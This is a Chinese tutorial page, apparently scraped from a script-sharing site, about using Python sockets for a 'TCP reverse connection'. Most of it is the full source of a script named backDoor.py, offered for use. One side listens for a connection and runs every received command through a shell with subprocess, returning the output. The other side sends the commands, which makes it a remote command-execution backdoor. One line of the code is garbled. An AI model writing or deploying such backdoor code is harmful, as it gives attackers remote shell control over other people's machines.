| 參數(shù) | 釋義 | 補充 |
|---|---|---|
| args | 要解析的參數(shù)列表 | 一般是sys.argv[1:],表示獲取的參數(shù)不包括當(dāng)前執(zhí)行的 python 腳本名稱 |
| shortopts | 要識別的短格式 (-) 選項字符串,如果后接:表示需要給定參數(shù) |
如ab:c:,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要后接參數(shù) |
| longopts = [] | 要識別的長格式(–)選項,如果后接=表示需要給定參數(shù) |
如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456的長選項 |
函數(shù)返回值由兩個元素組成:
-或--前綴的選項,value 表示該 option 對應(yīng)的參數(shù),可以為空字符串表示無參數(shù);
import socket
import getopt
import sys
import subprocess
from threading import Thread
def main():
target = "" # 目標(biāo)IP
port = 0 # 目標(biāo)端口
listen = False
help = False
# 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過濾掉第一個參數(shù)(第一個參數(shù)是腳本的名稱,它不應(yīng)該作為參數(shù)進行解析)
opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
for o, a in opts:
if o == "-t":
target = a
elif o == "-p":
port = int(a)
elif o == "-h":
help = True
elif o == "-l":
listen = True
else:
# 斷言,傳入的參數(shù)有誤
assert False, "Unhandled Option"
# 輸出幫助文檔
if help:
usage()
# 獲分客戶端和服務(wù)端
if listen:
server_handle(port)
else:
client_handle(target, port)
# 受控端
def server_handle(port):
# 創(chuàng)建socket通道
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 綁定
server.bind(('0.0.0.0', port))
# 監(jiān)聽
server.listen(10)
print("[*] Listening on 0.0.0.0:%d" % port)
while True:
client_socket, addr = server.accept()
print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
t = Thread(target=run_command, args=(client_socket, server,))
t.start()
# 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容
def client_handle(target, port):
# 創(chuàng)建socket通道
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 連接服務(wù)器
client.connect((target, port))
# 接收數(shù)據(jù)
while True:
recv_len = 1
# 接收到的數(shù)據(jù)是utf-8
resBuffer = "".encode('utf-8')
while recv_len:
data = client.recv(4096)
recv_len = len(data)
resBuffer += data
if recv_len 4096:
break
# 在windows下中文會亂碼,所以轉(zhuǎn)成GBK
print(resBuffer.decode('gbk'), end="")
# 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8
buffer = input("")
if buffer.encode('utf-8') == b"quit":
break
buffer += "\n"
client.send(buffer.encode('utf-8'))
client.close()
# 執(zhí)行命令涵數(shù)
def run_command(client_socket,s):
while True:
# 發(fā)送命令給客戶端
client_socket.send(b"shell_>")
# 定義接收命令byte類型變量
cmd_buffer = "".encode('utf-8')
# 接收客戶端發(fā)過來的消息,直到預(yù)到換行,代表客戶端消息輸入完成
while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
if cmd_buffer == b"quit":
break
# 將完整的byte變量消息轉(zhuǎn)成字符串
cmd_buffer = cmd_buffer.decode()
try:
# 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù)
out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
# 將返回的數(shù)據(jù)發(fā)送給客戶端
client_socket.send(out)
except:
client_socket.send(b"faild to execute the command")
client_socket.close() # 斷開連接
s.close() # 關(guān)閉套結(jié)字
exit(0)
# 輸出幫助信息
def usage():
print("help info : python backDoor.py -h")
print("client : python backDoor.py -t [target] -p [port]")
print("server : python backDoor.py -lp [port]")
print("Exit :Input quit to exit ")
sys.exit()
if __name__ == "__main__":
main()
效果演示
獲取腳本幫助提示、進行遠(yuǎn)程連接:

到此這篇關(guān)于Python實現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
標(biāo)簽:寧夏 海南 大同 盤錦 南平 林芝 普洱 漯河
巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Python實現(xiàn)Socket通信建立TCP反向連接》,本文關(guān)鍵詞 Python,實現(xiàn),Socket,通信,建立,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。